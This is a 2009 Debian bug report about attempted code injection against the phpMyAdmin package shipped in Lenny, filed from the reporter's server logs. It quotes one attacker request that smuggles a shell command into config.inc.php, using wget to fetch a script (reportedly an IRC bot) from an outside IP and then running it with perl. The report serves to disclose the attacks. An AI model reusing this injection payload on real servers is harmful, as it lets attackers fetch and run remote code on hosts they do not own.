Laurent CARON
2009-Jun-29 08:20 UTC
[Secure-testing-team] Bug#535044: phpmyadmin: PHPMyAdmin seems to be vulnerable to some code injection
Package: phpmyadmin Version: 4:2.11.8.1-5+lenny1 Severity: critical Tags: security Justification: root security hole Hi, After looking at my logs, I did notice a lot of attempts to break in phpmyadmin through the following kind of url: 82.79.155.33 - - [29/Jun/2009:03:32:31 +0200] "GET //phpmyadmin//config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& It seems PHPMyAdmin shipped with Lenny is still vulnerable to this remote exploit It is basically an IRC bot -- System Information: Debian Release: 5.0.2 APT prefers stable APT policy: (500, ''stable'') Architecture: amd64 (x86_64) Kernel: Linux 2.6.28.6-p390-20090217 (SMP w/4 CPU cores) Locale: LANG=fr_FR at euro, LC_CTYPE=fr_FR at euro (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages phpmyadmin depends on: ii debconf [debconf-2 1.5.24 Debian configuration management sy ii libapache2-mod-php 5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti ii perl 5.10.0-19 Larry Wall''s Practical Extraction ii php5 5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti ii php5-cgi 5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti ii php5-mcrypt 5.2.6.dfsg.1-1+lenny3 MCrypt module for php5 ii php5-mysql 5.2.6.dfsg.1-1+lenny3 MySQL module for php5 Versions of packages phpmyadmin recommends: ii apache2 2.2.9-10+lenny3 Apache HTTP Server metapackage ii apache2-mpm-prefor 2.2.9-10+lenny3 Apache HTTP Server - traditional n ii php5-gd 5.2.6.dfsg.1-1+lenny3 GD module for php5 Versions of packages phpmyadmin suggests: ii mysql-server-5.0 [mysq 5.0.51a-24+lenny1 MySQL database server binaries -- debconf information: phpmyadmin/setup-username: admin * phpmyadmin/reconfigure-webserver: phpmyadmin/restart-webserver: false